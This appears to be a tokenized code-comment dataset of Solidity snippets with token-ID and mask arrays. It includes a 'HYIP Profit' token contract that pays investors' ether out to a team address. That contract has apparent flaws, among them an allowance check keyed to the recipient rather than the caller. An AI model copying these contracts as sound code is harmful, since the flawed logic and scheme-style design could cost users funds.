[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 17631, 1060, 2864, 14667, 12, 11890, 5034, 19890, 2864, 14667, 67, 13, 3903, 1338, 17631, 1060, 15305, 288, 203, 3639, 2583, 12, 266, 2913, 2864, 14667, 67, 1648, 6437, 16, 315, 5387, 14036, 460, 8863, 203, 3639, 19890, 2864, 14667, 273, 19890, 2864, 14667, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xA583684bc0dC23D209D237Ef5785f9d4732972fd/sources/contracts/VTVLVesting.sol
This effectively reduces the liability by amountRemaining, so we can reduce the liability numTokensReservedForVesting by that much
_claim.isActive = false;
5,637,628
[ 1, 2503, 23500, 30568, 326, 4501, 2967, 635, 3844, 11429, 16, 1427, 732, 848, 5459, 326, 4501, 2967, 818, 5157, 10435, 1290, 58, 10100, 635, 716, 9816, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 14784, 18, 291, 3896, 273, 629, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x6226d8C86Ac16B17eED6d7E655D2f665DB2cCC8A/sources/project_/contracts/Crowdsale.sol
for(uint i = 0; i < stableCoins.length; i++) { StableCoinLP memory lp = stableCoinsLPs[stableCoins[i]]; (uint112 reserve0, uint112 reserve1,) = lp.pair.getReserves(); uint256 _price; if(reserve0 == 0 || reserve1 == 0) { _price = 0; } else { uint256 decimalsDifferences = 18 - lp.decimals; if(lp.tokenIndex == 0) { _price = uint256(reserve0).mul(10**(18 + decimalsDifferences)).div(uint256(reserve1)); } else { _price = uint256(reserve1).mul(10**(18 + decimalsDifferences)).div(uint256(reserve0)); } } price += _price; } price = price / stableCoins.length;
function getETHPrice() public pure returns (uint256 price) { price = 1657268369896177043863; }
5,019,769
[ 1, 1884, 12, 11890, 277, 273, 374, 31, 277, 411, 14114, 39, 9896, 18, 2469, 31, 277, 27245, 288, 5411, 934, 429, 27055, 14461, 3778, 12423, 273, 14114, 39, 9896, 14461, 87, 63, 15021, 39, 9896, 63, 77, 13563, 31, 5411, 261, 11890, 17666, 20501, 20, 16, 2254, 17666, 20501, 21, 16, 13, 273, 12423, 18, 6017, 18, 588, 607, 264, 3324, 5621, 5411, 2254, 5034, 389, 8694, 31, 5411, 309, 12, 455, 6527, 20, 422, 374, 747, 20501, 21, 422, 374, 13, 288, 7734, 389, 8694, 273, 374, 31, 5411, 289, 469, 288, 7734, 2254, 5034, 15105, 10428, 2980, 273, 6549, 300, 12423, 18, 31734, 31, 7734, 309, 12, 9953, 18, 2316, 1016, 422, 374, 13, 288, 10792, 389, 8694, 273, 2254, 5034, 12, 455, 6527, 20, 2934, 16411, 12, 2163, 12, 2643, 397, 15105, 10428, 2980, 13, 2934, 2892, 12, 11890, 5034, 12, 455, 6527, 21, 10019, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 336, 1584, 2500, 3057, 1435, 1071, 16618, 1135, 261, 11890, 5034, 6205, 13, 288, 203, 3639, 6205, 273, 2872, 10321, 5558, 28, 5718, 29, 6675, 26, 29882, 3028, 7414, 4449, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() public constant returns (uint256 supply); function balanceOf(address who) public constant returns (uint256 value); function allowance(address owner, address spender) public constant returns (uint256 permitted); function transfer(address to, uint256 value) public returns (bool ok); function transferFrom(address from, address to, uint256 value) public returns (bool ok); function approve(address spender, uint256 value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract HyipProfit is ERC20 { using SafeMath for uint256; string public constant name = "HYIP Profit"; string public constant symbol = "HYIP"; uint8 public constant decimals = 8; uint256 initialSupply = 450000000000000; uint256 constant preSaleSoftCap = 31250000000000; uint256 public preSaleFund = 0; uint256 public spentFunds = 0; uint256 public IcoFund = 0; uint256 public soldTokens = 0; //reduces when somebody returns money mapping (address => uint256) tokenBalances; //amount of tokens each address holds mapping (address => uint256) preSaleWeiBalances; //amount of Wei, paid for tokens on preSale. Used only before project completed. mapping (address => uint256) weiBalances; //amount of Wei, paid for tokens that smb holds. Used only before project completed. uint256 public currentStage = 0; tokenAddressGetter tg; bool public isICOfinalized = false; address public HyipProfitTokenTeamAddress; address public utilityTokenAddress = 0x0; modifier onlyTeam { if (msg.sender == HyipProfitTokenTeamAddress) { _; } } mapping (address => mapping (address => uint256)) allowed; mapping (uint256 => address) teamAddresses; uint256 currentDividendsRound; mapping (uint256 => uint256) dividendsPerTokenPerRound; mapping (uint256 => mapping (address => uint256)) poolBalances; mapping (address => uint256) lastWithdrawal; event dividendsReceived (uint256 round, uint256 totalValue, uint256 dividendsPerToken); event dividendsWithdraw (address tokenHolder, uint256 valueInWei); event tokensReceived (address from, uint256 tokensAmount); event tokensWithdrawal (address to, uint256 tokensAmount); event StageSubmittedAndEtherPassedToTheTeam(uint256 stage, uint256 when, uint256 weiAmount); event etherWithdrawFromTheContract(address tokenHolder, uint256 numberOfTokensSoldBack, uint256 weiValue); event Burned(address indexed from, uint256 amount); // ERC20 interface implementation function totalSupply() public constant returns (uint256) { return initialSupply; } function balanceOf(address tokenHolder) public view returns (uint256 balance) { return tokenBalances[tokenHolder]; } function allowance(address owner, address spender) public constant returns (uint256) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (tokenBalances[msg.sender] >= value && value > 0) { if (to == address(this)) { if (!isICOfinalized) { returnAllAvailableFunds(); return true; } else { passTokensToTheDividendsPool(value); return true; } } else { return transferTokensAndEtherValue(msg.sender, to, value, getHoldersAverageTokenPrice(msg.sender).mul(value) , getUsersPreSalePercentage(msg.sender)); } } else return false; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (tokenBalances[from]>=value && allowed[from][to] >= value && value > 0) { if (transferTokensAndEtherValue(from, to, value, getHoldersAverageTokenPrice(from).mul(value), getUsersPreSalePercentage(from))){ allowed[from][to] = allowed[from][to].sub(value); if (from == address(this) && poolBalanceOf(to) >= value) { if (withdrawDividends(to)) { poolBalances[currentDividendsRound][to] = poolBalances[currentDividendsRound][to].sub(value); } } return true; } return false; } return false; } function approve(address spender, uint256 value) public returns (bool success) { if ((value != 0) && (tokenBalances[msg.sender] >= value)){ allowed[msg.sender][spender] = value; emit Approval (msg.sender, spender, value); return true; } else{ return false; } } // Constructor, fallback, return funds constructor () public { HyipProfitTokenTeamAddress = msg.sender; currentDividendsRound = 0; tokenBalances[address(this)] = initialSupply; teamAddresses[0] = HyipProfitTokenTeamAddress; teamAddresses[1] = 0xcC6bCF304d0Ada4Bc7B00Aa1c2c463FBEc263B7e; teamAddresses[2] = 0x1F16BE21574FA46846fCfeae5ef587c29200f93e; teamAddresses[3] = 0x93A10f35Bc5439E419fdDcE04Ea44779B0E1017C; teamAddresses[4] = 0x71bAfdD5bd44D3e1038fE4c0Bc486fb4BB67b806; } function () public payable { if (!isICOfinalized) { uint256 currentPrice = getCurrentSellPrice(); uint256 valueInWei = 0; uint256 tokensToPass = 0; uint256 preSalePercent = 0; require (msg.value >= currentPrice); tokensToPass = msg.value.div(currentPrice); require (tokenBalances[address(this)]>= tokensToPass); valueInWei = tokensToPass.mul(currentPrice); soldTokens = soldTokens.add(tokensToPass); if (currentStage == 0) { preSaleWeiBalances [address(this)] = preSaleWeiBalances [address(this)].add(valueInWei); preSalePercent = 100; preSaleFund = preSaleFund.add(msg.value); } else { weiBalances[address(this)] = weiBalances[address(this)].add(valueInWei); preSalePercent = 0; IcoFund = IcoFund.add(msg.value); } transferTokensAndEtherValue(address(this), msg.sender, tokensToPass, valueInWei, preSalePercent); } else { require (msg.value >= 10**18); topUpDividends(); } } function returnAllAvailableFunds() public { require (tokenBalances[msg.sender]>0); //you need to be a tokenHolder require (!isICOfinalized); //you can not return tokens after project is completed uint256 preSaleWei = getPreSaleWeiToReturn(msg.sender); uint256 IcoWei = getIcoWeiToReturn(msg.sender); uint256 weiToReturn = preSaleWei.add(IcoWei); uint256 amountOfTokensToReturn = tokenBalances[msg.sender]; require (amountOfTokensToReturn>0); uint256 preSalePercentage = getUsersPreSalePercentage(msg.sender); transferTokensAndEtherValue(msg.sender, address(this), amountOfTokensToReturn, weiToReturn, preSalePercentage); emit etherWithdrawFromTheContract(msg.sender, amountOfTokensToReturn, IcoWei.add(preSaleWei)); preSaleWeiBalances[address(this)] = preSaleWeiBalances[address(this)].sub(preSaleWei); weiBalances[address(this)] = weiBalances[address(this)].sub(IcoWei); soldTokens = soldTokens.sub(amountOfTokensToReturn); msg.sender.transfer(weiToReturn); preSaleFund = preSaleFund.sub(preSaleWei); IcoFund = IcoFund.sub(IcoWei); } function passTokensToTheDividendsPool(uint256 amount) internal { if (tokenBalances[msg.sender] >= amount) { tokenBalances[address(this)] = tokenBalances[address(this)].add(amount); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(amount); emit Transfer(msg.sender, address(this), amount); allowed[address(this)][msg.sender] = allowed[address(this)][msg.sender].add(amount); emit Approval (address(this), msg.sender, amount); if (poolBalanceOf(msg.sender) == 0) lastWithdrawal[msg.sender] = currentDividendsRound; poolBalances[currentDividendsRound][msg.sender] = poolBalances[currentDividendsRound][msg.sender].add(amount); emit tokensReceived(msg.sender, amount); } } function topUpDividends() public payable { require (msg.value >= 10**18); uint256 dividends = msg.value; uint256 tokensInPool = balanceOf(address(this)); dividendsPerTokenPerRound[currentDividendsRound] = dividends.div(tokensInPool); emit dividendsReceived (currentDividendsRound, dividends, dividendsPerTokenPerRound[currentDividendsRound]); currentDividendsRound = currentDividendsRound.add(1); } function withdrawDividends(address holder) public returns (bool success) { require (poolBalanceOf(holder) > 0); uint256 totalDividendsForHolder = dividendsOf(holder); if (totalDividendsForHolder == 0) return true; uint256 holdersTotalTokensInPool = 0; for (uint256 i = lastWithdrawal[holder]; i < currentDividendsRound; i = i.add(1)) { holdersTotalTokensInPool = holdersTotalTokensInPool.add(poolBalances[i][holder]); poolBalances[i][holder] = 0; } holder.transfer(totalDividendsForHolder); emit dividendsWithdraw (holder, totalDividendsForHolder); poolBalances[currentDividendsRound][holder] = holdersTotalTokensInPool; lastWithdrawal[holder] = currentDividendsRound; return true; } //AnyBody can call // View functions function dividendsOf(address holder) public view returns (uint256 dividendsAmount) { uint256 dividends = 0; for (uint256 i = lastWithdrawal[holder]; i < currentDividendsRound; i = i.add(1)) { for(uint256 j = lastWithdrawal[holder]; j <= i; j = j.add(1)) { if (poolBalances[j][holder]>0 && dividendsPerTokenPerRound[i] > 0) dividends = dividends.add(poolBalances[j][holder].mul(dividendsPerTokenPerRound[i])); } } return dividends; } function icoFinalized() public view returns (bool) { return isICOfinalized; } function poolBalanceOf(address holder) public view returns (uint256 balance){ uint256 holdersTotalTokensInThePool = 0; for (uint256 i = lastWithdrawal[msg.sender]; i <= currentDividendsRound; i = i.add(1)) { holdersTotalTokensInThePool = holdersTotalTokensInThePool.add(poolBalances[i][holder]); } return holdersTotalTokensInThePool; } function getWeiBalance(address a) public view returns (uint256 weiBalance) { return weiBalances[a]; } function getUsersPreSalePercentage(address a) public view returns (uint256 preSaleTokensPercent) { if (!isICOfinalized && (preSaleWeiBalances[a].add(weiBalances[a]) > 0)) { uint256 result = (preSaleWeiBalances[a].mul(100)).div((preSaleWeiBalances[a].add(weiBalances[a]))); require (result<=100); return result; } return 0; } function getTotalWeiAvailableToReturn(address a) public view returns (uint256 amount) { return getPreSaleWeiToReturn(a).add(getIcoWeiToReturn(a)); } function getPreSaleWeiToReturn (address holder) public view returns (uint256 amount) { if (currentStage == 0) return preSaleWeiBalances[holder]; if (currentStage == 1) return preSaleWeiBalances[holder].mul(7).div(10); if (currentStage == 2) return preSaleWeiBalances[holder].mul(4).div(10); return 0; } function getIcoWeiToReturn (address holder) public view returns (uint256 amount) { if (currentStage <= 3) return weiBalances[holder]; if (currentStage == 4) return weiBalances[holder].mul(7).div(10); if (currentStage == 5) return weiBalances[holder].mul(4).div(10); return 0; } function getHoldersAverageTokenPrice(address holder) public view returns (uint256 avPriceInWei) { if (!isICOfinalized) return (weiBalances[holder].add(preSaleWeiBalances[holder])).div(tokenBalances[holder]); return 0; } function getCurrentSellPrice() public view returns (uint256 priceInWei) { if (isICOfinalized) return 0; if (currentStage == 0) return 10**6 * 8 ; //this is equal to 0.0008 ETH for 1 token if (currentStage == 1) return 10**6 * 16; if (currentStage == 2) return 10**6 * 24; if (currentStage == 3) return 10**6 * 32; return 0; } function getAvailableFundsForTheTeam() public view returns (uint256 amount) { if (currentStage == 1) return preSaleFund.mul(3).div(10); if (currentStage == 2) return (preSaleFund.sub(spentFunds)).div(2); if (currentStage == 3) return preSaleFund.sub(spentFunds); if (currentStage == 4) return IcoFund.mul(3).div(10); if (currentStage == 5) return (IcoFund.sub(spentFunds)).div(2); if (currentStage == 6) return address(this).balance; } function checkIfMissionCompleted() public view returns (bool success) { if (currentStage == 0 && soldTokens >= preSaleSoftCap) return true; if (currentStage == 1 && preSaleFund.mul(3).div(5) <= IcoFund) return true; if (currentStage == 2 && preSaleFund.mul(6).div(5) <= IcoFund) return true; if (currentStage>=3 && (utilityTokenAddress == 0x0 || tg.getBeneficiaryAddress() != address(this))) return false; if (currentStage == 3 && preSaleFund.mul(2) <= IcoFund) return true; if (currentStage == 4 && utilityTokenAddress.balance >= IcoFund.mul(3).div(5)) return true; if (currentStage == 5 && utilityTokenAddress.balance >= IcoFund.mul(6).div(5)) return true; if (currentStage == 6 && utilityTokenAddress.balance >= IcoFund.mul(2)) return true; return false; } // Team functions function setUtilityTokenAddressOnce(address a) public onlyTeam { if (utilityTokenAddress == 0x0) { utilityTokenAddress = a; tg = tokenAddressGetter(a); } } function finalizeICO() internal onlyTeam { require(!isICOfinalized); // this function can be called only once passTokensToTheTeam(); burnUndistributedTokens(); // undistributed tokens are destroyed isICOfinalized = true; } function passTokensToTheTeam() internal returns (uint256 tokenAmount) { //This function passes tokens to the team without weiValue, so the team can not withdraw ether by returning tokens to the contract uint256 tokensForEachMember = soldTokens.div(20); // 4% for each team member uint256 tokensToPass = tokensForEachMember.mul(5); for (uint256 i = 0; i< 5; i = i.add(1)) { address teamMember = teamAddresses[i]; tokenBalances[teamMember] = tokenBalances[teamMember].add(tokensForEachMember); emit Transfer(address(this), teamMember, tokensForEachMember); } soldTokens = soldTokens.add(tokensToPass); return tokensToPass; } function submitNextStage() public onlyTeam returns (bool success) { if (!checkIfMissionCompleted()) return false; if (currentStage==3) spentFunds = 0; if (currentStage == 6) finalizeICO(); currentStage = currentStage.add(1); passEtherToTheTeam(); return true; } function passEtherToTheTeam() internal returns (bool success) { uint256 weiAmount = getAvailableFundsForTheTeam(); HyipProfitTokenTeamAddress.transfer(weiAmount); spentFunds = spentFunds.add(weiAmount); emit StageSubmittedAndEtherPassedToTheTeam(currentStage, now, weiAmount); return true; } function transferTokensAndEtherValue(address from, address to, uint256 value, uint256 weiValue, uint256 preSalePercent) internal returns (bool success){ if (tokenBalances[from] >= value) { tokenBalances[to] = tokenBalances[to].add(value); tokenBalances[from] = tokenBalances[from].sub(value); if (!isICOfinalized) { preSaleWeiBalances[from] = preSaleWeiBalances[from].sub(weiValue.mul(preSalePercent).div(100)); preSaleWeiBalances[to] = preSaleWeiBalances[to].add(weiValue.mul(preSalePercent).div(100)); require (preSalePercent<=100); weiBalances[from] = weiBalances[from].sub(weiValue.mul(100 - preSalePercent).div(100)); weiBalances[to] = weiBalances[to].add(weiValue.mul(100 - preSalePercent).div(100)); } emit Transfer(from, to, value); return true; } return false; } function burnUndistributedTokens() internal { uint256 toBurn = initialSupply.sub(soldTokens); initialSupply = initialSupply.sub(toBurn); tokenBalances[address(this)] = 0; emit Burned(address(this), toBurn); } } contract tokenAddressGetter { function getBeneficiaryAddress() public view returns (address); }
4% for each team member
uint256 tokensForEachMember = soldTokens.div(20);
1,008,564
[ 1, 24, 9, 364, 1517, 5927, 3140, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 2430, 1290, 3442, 4419, 273, 272, 1673, 5157, 18, 2892, 12, 3462, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6 <0.9.0; import "./Utils.sol"; import "./GrokCore.sol"; /** * Grok的控制合约 */ contract GrokCtrl is Base { // Grok核心合约地址 address private _GrokCoreAddress; // Grok控制合约的构建函数 constructor(address GrokCoreAddress) isContract(GrokCoreAddress) { _GrokCoreAddress = GrokCoreAddress; //为控制合约绑定核心合约 } // 转移合约所有权 function moveOwner(address to) external onlyOwner isExternal(to) { transferOwnership(to); } // 冻结Grok控制合约的所有转账操作 function pause() public onlyOwner whenNotPaused { _pause(); } // 解除Grok控制合约的转账冻结 function unpause() public onlyOwner whenPaused { _unpause(); } // 获取Grok的当前余额 function currentBalance() public view returns (uint256) { return IERC20(_GrokCoreAddress).balanceOf(owner()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.6 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /* * 基本合约 */ contract Base is Ownable, AccessControl, Pausable { // 调试日志事件 event DebugLog(string info); // 检查指定地址是否是合约地址 modifier isContract(address account) { require(Address.isContract(account), 'Caller is not a contract address'); _; } // 检查指定地址是否是外部地址 modifier isExternal(address account) { require(!Address.isContract(account), 'Caller is not a external address'); _; } // 基本合约的构造函数 constructor() { //在合约构造时,为所有者设置默认管理员角色,只有默认管理员可以动态授予和撤销角色 _setupRole(DEFAULT_ADMIN_ROLE, owner()); } // 打印调试日志 function debugLog(string memory info) internal { emit DebugLog(info); } } /* * 工具库 */ library Utils { // 通用验证签名,明文需要调用abi.encodePacked(...)获取message function validSign(address from, bytes memory message, bytes memory sign) internal pure returns (bool) { bytes32 _message = ECDSA.toEthSignedMessageHash(keccak256(message)); (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(_message, sign); if (error != ECDSA.RecoverError.NoError) { //验证签名错误 return false; } if (from != recovered) { //验证签名地址错误 return false; } return true; } // 将地址转换为uint160 function addressToUint160(address account) internal pure returns (uint160) { return uint160(account); } // 将uint160转换为地址 function uint160ToAddress(uint160 value) internal pure returns (address) { return address(value); } // 将地址转换为uint256 function addressToUint256(address account) internal pure returns (uint256) { return uint256(uint160(account)); } // 将uint256转换为字符串 function uint256ToString(uint256 value) internal pure returns (string memory) { return bytesToString(abi.encodePacked(value)); } // 将指定地址转换为字符串 function addressToString(address account) internal pure returns (string memory) { return bytesToString(abi.encodePacked(account)); } // 将指定地址转换为字符串 function bytesToString(bytes memory data) internal pure returns (string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; for (uint i = 0; i < 